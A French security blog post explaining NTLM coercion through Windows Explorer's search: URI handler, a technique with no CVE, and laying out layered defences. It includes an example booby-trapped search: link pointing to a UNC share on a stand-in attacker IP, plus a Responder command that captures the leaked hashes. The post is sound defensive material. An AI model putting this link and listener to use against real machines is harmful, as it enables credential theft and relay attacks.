Huntress a documenté cette semaine une primitive d'attaque qui mérite qu'on s'y arrête, moins pour sa nouveauté que pour ce qu'elle révèle d'un angle mort généralisé. La même technique de coercition NTLM qui avait été corrigée dans l'outil Capture d'écran de Windows existe aussi dans le gestionnaire d'URI (Uniform Resource Identifier) search: de l'Explorateur. Pas de CVE (Common Vulnerabilities and Exposures) attribuée. Pas de correctif. Et une phrase qui devrait vous faire froid dans le dos si votre stratégie de patch repose sur la couverture des CVE : « vous avez un angle mort ».
Décortiquons proprement : ce qu'est la coercition NTLM, pourquoi un simple lien suffit, et surtout comment s'en défendre concrètement — parce que sur celle-là, vous n'attendrez pas de correctif éditeur.
NTLM, ou l'authentification qui se déclenche toute seule
Pour comprendre l'attaque, il faut comprendre une politesse de Windows. NTLM (NT LAN Manager) est un protocole d'authentification historique, encore très présent dans les réseaux d'entreprise. Son principe : quand votre machine veut accéder à une ressource réseau — un partage de fichiers, par exemple — elle prouve votre identité par un échange défi-réponse. Le serveur envoie un défi, votre machine répond avec une valeur calculée à partir de votre mot de passe haché. Ce qui transite, c'est le « hash NTLMv2 ».
Le détail qui change tout : Windows fait cela automatiquement, sans rien vous demander, dès qu'il pense devoir accéder à une ressource réseau. C'est confortable au quotidien — vous accédez à un partage sans retaper votre mot de passe. C'est exactement ce confort que l'attaque détourne.
La coercition NTLM (« forced authentication »), c'est l'art de pousser une machine à initier cette authentification vers un serveur que l'attaquant contrôle. Si je vous amène à contacter ma machine en pensant accéder à une ressource légitime, votre Windows m'enverra spontanément votre hash NTLMv2. Je n'ai rien installé chez vous. Je vous ai juste fait pointer vers moi.
Ce que vaut un hash volé
On pourrait croire qu'un hash n'est pas un mot de passe. C'est vrai, mais c'est une consolation courte, pour deux raisons.
D'abord, un hash NTLMv2 capturé peut être attaqué hors ligne. L'attaquant le récupère et lance un cassage par dictionnaire ou par force brute sur sa propre infrastructure, à son rythme, sans aucune alarme de votre côté. Si le mot de passe est faible ou courant, il tombe en minutes.
Ensuite, et c'est souvent pire, certains hash n'ont même pas besoin d'être cassés : ils peuvent être relayés. Dans une attaque par relais NTLM, l'attaquant transmet l'authentification capturée, en temps réel, vers un autre service du réseau qui accepte NTLM — et s'y authentifie en votre nom, sans jamais connaître votre mot de passe. La capture d'un hash, c'est donc potentiellement un accès direct à d'autres systèmes.
C'est pour ça que la coercition NTLM est un classique des intrusions internes : c'est un moyen discret de récolter des identités, puis de rebondir de machine en machine. Un attaquant qui a posé un pied sur un seul poste peut, par ce biais, collecter peu à peu les empreintes d'autres utilisateurs et comptes de service, sans jamais déclencher la moindre alerte de type « malware détecté » — puisqu'il n'y a aucun malware. Il ne fait qu'écouter une conversation que Windows engage de lui-même.
Pourquoi un simple lien suffit
Le vecteur documenté par Huntress, c'est le gestionnaire d'URI search:. Windows associe certains préfixes d'URI à des actions internes — mailto: ouvre le client mail, et search: déclenche une recherche dans l'Explorateur. Le problème : on peut construire un lien search: qui pointe la recherche vers un chemin réseau distant, au format UNC (Universal Naming Convention), vers une machine contrôlée par l'attaquant.
Schématiquement, l'idée ressemble à ceci — un lien qui, au lieu de chercher en local, oriente l'Explorateur vers un partage distant :
search:query=facture&crumb=location:\\192.0.2.50\partage (machine de l'attaquant)Quand ce lien est déclenché, l'Explorateur tente d'atteindre le chemin UNC \\192.0.2.50\partage. Et pour y accéder, Windows fait ce qu'il sait faire : il s'authentifie automatiquement en NTLM auprès de cette machine. L'attaquant, qui a mis un serveur en écoute à cette adresse, n'a plus qu'à recevoir le hash.
Côté attaquant, la mise en écoute tient en une commande, avec un outil d'analyse réseau bien connu des pentesteurs :
sudo responder -I eth0 # écoute et capture les authentifications NTLM entrantesLe piège peut être dissimulé dans un e-mail, un document, une page web, un raccourci. Selon le contexte, la victime clique, ou le déclenchement est plus automatique encore. Dans tous les cas, il n'y a ni pièce jointe exécutable, ni malware à faire passer un antivirus : juste un lien qui exploite une fonctionnalité légitime de Windows.
Le vrai sujet : « pas de CVE » n'est pas « pas de risque »
Voilà le point le plus important de l'affaire, et il dépasse largement cette faille. Cette technique n'a pas de CVE. Pas de numéro, donc pas de ligne dans les tableaux de bord de vulnérabilités, pas de déclenchement automatique dans les outils qui ne raisonnent que par CVE.
Or énormément d'organisations ont, sans le dire, réduit leur gestion des vulnérabilités à « est-ce qu'il y a une CVE, et est-ce que mon scanner la voit ? ». C'est l'angle mort que pointe Huntress. Une faiblesse réelle, exploitable, documentée publiquement, peut parfaitement n'avoir aucun identifiant — soit parce que l'éditeur considère que c'est un comportement « par conception », soit parce qu'elle tombe entre les chaises. Si votre défense attend qu'un numéro apparaisse pour réagir, vous serez en retard sur tout ce qui n'en a pas.
La leçon n'est pas « paniquez ». C'est : la couverture des CVE est un plancher, pas un plafond. La vraie posture consiste à raisonner par primitives d'attaque — ici, l'authentification automatique vers une ressource externe — et à les neutraliser indépendamment de l'existence d'un correctif. C'est précisément la bascule mentale qu'on installe dans le Bootcamp DevSecOps : passer d'une posture « je patche ce que mon scanner voit » à « je connais mes primitives d'attaque, et je les neutralise même sans CVE ».
Comment se défendre, concrètement
La bonne nouvelle : la coercition NTLM se défend par plusieurs couches, et aucune n'a besoin d'attendre un patch Microsoft. C'est de la défense en profondeur classique.
| Couche | Mesure | Ce qu'elle coupe | Limite |
|---|---|---|---|
| Périmètre | Bloquer SMB sortant (ports 445/139) | Coercition vers Internet | Inopérant à l'intérieur du LAN |
| Domaine | Stratégie « restreindre NTLM » | Trafic NTLM sortant sélectif | Peut casser des apps legacy |
| Handler | Supprimer le gestionnaire search: | Ce vecteur précis | D'autres handlers restent exploitables |
| Crypto | Signature SMB | Relais NTLM | Pas le cassage hors ligne |
| Identité | Mots de passe longs et uniques | Cassage hors ligne | Pas l'attaque elle-même |
La couche la plus efficace, et trop rarement appliquée : bloquer l'authentification NTLM sortante vers Internet. Le hash ne fuit que si votre machine peut joindre la machine de l'attaquant. Sur le pare-feu périphérique, interdire le trafic SMB (Server Message Block) sortant vers l'extérieur coupe le vecteur le plus courant net :
Pare-feu sortant : DENY TCP any -> 0.0.0.0/0 ports 445,139 (bloque SMB vers Internet)Aucun usage légitime n'exige qu'un poste de travail établisse une session SMB vers une adresse Internet quelconque. Ce blocage devrait être la règle par défaut.
Ensuite, durcissez NTLM côté domaine. Windows permet, via stratégie de groupe, de restreindre le trafic NTLM sortant vers des serveurs distants et de journaliser les tentatives avant de les bloquer. La stratégie « Sécurité réseau : restreindre NTLM » est faite pour ça : on commence par auditer pour mesurer l'usage réel, puis on bloque ce qui n'est pas nécessaire.
Pour les gestionnaires d'URI à risque comme search:, vous pouvez aussi neutraliser le déclencheur. Un gestionnaire d'URI est une simple association dans le registre ; le retirer empêche le lien piégé d'agir. À tester avant déploiement, car cela touche une fonctionnalité de l'Explorateur :
Registre : HKEY_CLASSES_ROOT\search -> supprimer/renommer la clé (désactive le handler search:)Enfin, deux mesures de fond qui réduisent l'impact même en cas de capture. Activer la signature SMB sur le réseau casse une grande partie des attaques par relais. Et imposer des mots de passe longs et uniques rend le cassage hors ligne du hash beaucoup plus coûteux : un hash de mot de passe de trente caractères aléatoires n'a pratiquement aucune valeur pour l'attaquant.
Les limites, honnêtement
Aucune de ces mesures ne suffit prise isolément, et il faut le dire. Bloquer le SMB sortant ne protège pas contre un attaquant déjà à l'intérieur du réseau, qui peut alors récolter des hash en interne — c'est même là que la coercition NTLM est la plus utilisée. Durcir NTLM peut casser des applications anciennes qui en dépendent, d'où la phase d'audit indispensable avant de bloquer. Et désactiver un gestionnaire d'URI traite ce vecteur précis, pas la famille entière : d'autres préfixes peuvent servir le même but.
C'est tout l'intérêt d'empiler les couches : chaque mesure est imparfaite, mais leur combinaison rend l'attaque coûteuse à chaque étape — déclencher l'authentification, la faire sortir, l'exploiter. La sécurité ne consiste pas à trouver la parade unique. Elle consiste à n'avoir aucun point où une seule défense, si elle tombe, donne tout.
Ce qu'il faut retenir
Cette technique est un excellent rappel que les attaques les plus efficaces ne sont pas les plus sophistiquées : ici, pas de malware, juste un détournement d'une fonctionnalité confortable de Windows. Mais le vrai enseignement est ailleurs. Une faiblesse sans CVE reste une faiblesse. Si votre gestion des vulnérabilités ne sait réagir qu'à un numéro, vous laissez ouvert tout ce qui n'en a pas — et les attaquants, eux, ne demandent pas de référence officielle avant d'exploiter.
Faites le test mental sur votre propre parc : un poste de travail chez vous, peut-il établir une connexion SMB vers une adresse Internet ? Si la réponse est oui, ou « je ne sais pas », vous savez par où commencer ce vendredi.